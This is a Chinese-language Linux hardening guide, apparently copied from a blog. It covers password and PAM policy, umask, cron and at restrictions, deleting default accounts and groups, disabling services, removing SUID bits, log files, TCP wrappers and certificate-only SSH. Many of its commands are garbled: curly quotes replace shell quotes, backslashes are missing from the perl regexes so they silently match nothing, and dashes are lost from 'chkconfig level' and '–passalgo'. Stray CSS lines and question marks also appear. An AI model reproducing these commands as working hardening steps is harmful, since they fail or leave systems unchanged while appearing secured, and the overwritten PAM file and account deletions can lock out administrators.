    13. .v {background-color: #cccccc; color: #000000; padding-left:5px;}
    14. .r {background-color: #c50000; color: #000000;  padding-left:5px;}

    三个文件已经打包:php-security-check.zip
    转自:http://lanlan611.sinaapp.com/?p=112

    Linux安全设置

    用户管理

    用户权限

    1)限制root

    1. echo "tty1" > /etc/securetty
    2. chmod 700 /root

    2)密码策略

    1. echo "Passwords expire every 180 days"
    2. perl -npe ‘s/PASS_MAX_DAYSs+99999/PASS_MAX_DAYS 180/’ -i /etc/login.defs
    3. echo "Passwords may only be changed once a day"
    4. perl -npe ‘s/PASS_MIN_DAYSs+0/PASS_MIN_DAYS 1/g’ -i /etc/login.defs

    用sha512保护密码而不用md5

    1. authconfig –passalgo=sha512 –update

    3)umask限制
    更改umask为077

    1. perl -npe ‘s/umasks+0d2/umask 077/g’ -i /etc/bashrc
    2. perl -npe ‘s/umasks+0d2/umask 077/g’ -i /etc/csh.cshrc

    4)Pam修改

    1. touch /var/log/tallylog
    1. cat << ‘EOF’ > /etc/pam.d/system-auth
    2. #%PAM-1.0
    3. # This file is auto-generated.
    4. # User changes will be destroyed the next time authconfig is run.
    5. auth        required      pam_env.so
    6. auth        sufficient    pam_unix.so nullok try_first_pass
    7. auth        requisite     pam_succeed_if.so uid >= 500 quiet
    8. auth        required      pam_deny.so
    9. auth        required      pam_tally2.so deny=3 onerr=fail unlock_time=60
    10.  
    11. account     required      pam_unix.so
    12. account     sufficient    pam_succeed_if.so uid < 500 quiet
    13. account     required      pam_permit.so
    14. account     required      pam_tally2.so per_user
    15.  
    16. password    requisite     pam_cracklib.so try_first_pass retry=3 minlen=9 lcredit=-2 ucredit=-2 dcredit=-2 ocredit=-2
    17. password    sufficient    pam_unix.so sha512 shadow nullok try_first_pass use_authtok remember=10
    18. password    required      pam_deny.so
    19.  
    20. session     optional      pam_keyinit.so revoke
    21. session     required      pam_limits.so
    22. session     [success=1 default=ignore] pam_succeed_if.so service in crond quiet use_uid
    23. session     required      pam_unix.so
    24. EOF

    /var/log/tallylog是二进制日志,记录认证失败情况。可以使用pam_tally2 –reset -u username解锁
    5)回收闲置用户

    1. echo "Idle users will be removed after 15 minutes"
    2. echo "readonly TMOUT=900" >> /etc/profile.d/os-security.sh
    3. echo "readonly HISTFILE" >> /etc/profile.d/os-security.sh
    4. chmod +x /etc/profile.d/os-security.sh

    6)cron和at限制

    1. echo "Locking down Cron"
    2. touch /etc/cron.allow
    3. chmod 600 /etc/cron.allow
    4. awk -F: ‘{print $1}’ /etc/passwd | grep -v root > /etc/cron.deny
    5. echo "Locking down AT"
    6. touch /etc/at.allow
    7. chmod 600 /etc/at.allow
    8. awk -F: ‘{print $1}’ /etc/passwd | grep -v root > /etc/at.deny

    删除系统特殊的的用户和组

    1. userdel username
    2. userdel adm
    3. userdel lp
    4. userdel sync
    5. userdel shutdown
    6. userdel halt
    7. userdel news
    8. userdel uucp
    9. userdel operator
    10. userdel games
    11. userdel gopher

    以上所删除用户为系统默认创建,但是在常用服务器中基本不使用的一些帐号,但是这些帐号常被黑客利用和攻击服务器。

    1. groupdel username
    2. groupdel adm
    3. groupdel lp
    4. groupdel news
    5. groupdel uucp
    6. groupdel games
    7. groupdel dip

    同样,以上删除的是系统安装是默认创建的一些组帐号。这样就减少受攻击的机会。

    服务管理

    关闭系统不使用的服务

    1. chkconfig level 35 apmd off
    2. chkconfig level 35 netfs off
    3. chkconfig level 35 yppasswdd off
    4. chkconfig level 35 ypserv off
    5. chkconfig level 35 dhcpd off?
    6. chkconfig level 35 portmap off
    7. chkconfig level 35 lpd off
    8. chkconfig level 35 nfs off
    9. chkconfig level 35 sendmail off
    10. chkconfig level 35 snmpd off
    11. chkconfig level 35 rstatd off
    12. chkconfig level 35 atd off??

    定期更新系统

    yum -y update,可以加入到cron job。

    ssh服务安全

    使用证书登录系统,具体不详述,请看这篇文章http://devops.webres.wang/2012/02/strengthen-ssh-security-login-with-certificate/

    LAMP安全

    系统文件权限

    修改init目录文件执行权限

    1. chmod -R 700 /etc/init.d/*

    修改部分系统文件的SUID和SGID的权限

    1. chmod a-s /usr/bin/chage
    2. chmod a-s /usr/bin/gpasswd
    3. chmod a-s /usr/bin/wall
    4. chmod a-s /usr/bin/chfn
    5. chmod a-s /usr/bin/chsh
    6. chmod a-s /usr/bin/newgrp
    7. chmod a-s /usr/bin/write
    8. chmod a-s /usr/sbin/usernetctl
    9. chmod a-s /usr/sbin/traceroute
    10. chmod a-s /bin/mount
    11. chmod a-s /bin/umount
    12. chmod a-s /bin/ping
    13. chmod a-s /sbin/netreport

    修改系统引导文件

    1. chmod 600 /etc/grub.conf
    2. chattr +i /etc/grub.conf

    日志管理

    1、系统引导日志

    dmesg
    使用 dmesg 命令可以快速查看最后一次系统引导的引导日志。通常它的内容会很多,所以您往往会希望将其通过管道传输到一个阅读器。

    2、系统运行日志

    A、Linux 日志存储在 /var/log 目录中。
    这里有几个由系统维护的日志文件,但其他服务和程序也可能会把它们的日志放在这里。大多数日志只有 root 才可以读,不过只需要修改文件的访问权限就可以让其他人可读。
    以下是常用的系统日志文件名称及其描述:
    lastlog 记录用户最后一次成功登录时间
    loginlog 不良的登陆尝试记录?
    messages 记录输出到系统主控台以及由syslog系统服务程序产生的消息
    utmp 记录当前登录的每个用户
    utmpx 扩展的utmp
    wtmp 记录每一次用户登录和注销的历史信息 wtmpx 扩展的wtmp
    vold.log 记录使用外部介质出现的错误
    xferkig 记录Ftp的存取情况 sulog 记录su命令的使用情况
    acct 记录每个用户使用过的命令
    aculog 拨出自动呼叫记录
    B、/var/log/messages
    messages 日志是核心系统日志文件。它包含了系统启动时的引导消息,以及系统运行时的其他状态消息。IO 错误、网络错误和其他系统错误都会记录到这个文件中。其他信息,比如某个人的身份切换为 root,也在这里列出。如果服务正在运行,比如 DHCP 服务器,您可以在messages 文件中观察它的活动。通常,/var/log/messages 是您在做故障诊断时首先要查看的文件。
    C、/var/log/XFree86.0.log
    这个日志记录的是 Xfree86 Xwindows 服务器最后一次执行的结果。如果您在启动到图形模式时遇到了问题,一般情况从这个文件中会找到失败的原因。

    网络安全

    使用TCP_WRAPPERS

    使用TCP_WRAPPERS可以使你的系统安全面对外部入侵。最好的策略就是阻止所有
    的主机(在”/etc/hosts.deny” 文件中加入”ALL: ALL@ALL, PARANOID” ),然后再在”/etc/hosts.allow” 文件中加入所有允许访问的主机列表。
    第一步:
    编辑hosts.deny文件(vi /etc/hosts.deny),加入下面这行
    # Deny access to everyone.
    ALL: ALL@ALL, PARANOID
    这表明除非该地址包好在允许访问的主机列表中,否则阻塞所有的服务和地址。
    第二步:
    编辑hosts.allow文件(vi /etc/hosts.allow),加入允许访问的主机列表,比
    如:
    ftp: 202.54.15.99 foo.com
    202.54.15.99和 foo.com是允许访问ftp服务的ip地址和主机名称。
    第三步:
    tcpdchk程序是tepd wrapper设置检查程序。它用来检查你的tcp wrapper设置,并报告发现的潜在的和真实的问题。设置完后,运行下面这个命令:
    [Root@kapil /]# tcpdchk

    iptables防火墙使用

    这里不多介绍,请参考:
    1、适合Web服务器的iptables规则
    2、iptables详细教程

    强化SSH安全-使用证书登录

    回顾几天前发生的某些人利用百度推广推广有后门的putty和winscp,还有由于密码简单,且端口为默认的22被暴力破解,或者被社工密码的种种安全危机,ssh安全应该引起我们的高度重视,而推荐的一种强化ssh安全的策略就是只允许使用证书登录ssh,下面介绍配置方法以及如何使用。

    生成私人密钥

    下载puttyfile_0.60cn2.zip文件,打开压缩包里的puttygen.exe文件,点击“生成”按钮,并在进度表的下面空白处随机移动鼠标,等生成私钥完成时,点击“保存私钥”,保存好私钥文件。这时不要关闭密钥生成器。

    创建.ssh/authorized_keys

    登录linux系统,创建~/.ssh/authorized_keys文件,写入密钥生成器“显示的公钥()由OpenSSH认可”一行文字下面的内容,保存好退出。

    设置putty实现用证书登录

    Putty→Session:将Host Name(Or IP Address)填好
    Putty→Connection→Date:填好Auto-login username(自动登陆用户名)
    Putty→Connection→SSH→Auth:在Private key file for authentication选择认证私钥文件
    回到Putty→Session:Saved Session,填个名称保存下吧,下次直接双击名称就可以登录了.

    取消密码认证登录

    为了进一步增强安全,现在设置禁止使用密码登录
    编辑/etc/ssh/sshd_config文件,更改为以下设置。

    1. PasswordAuthentication no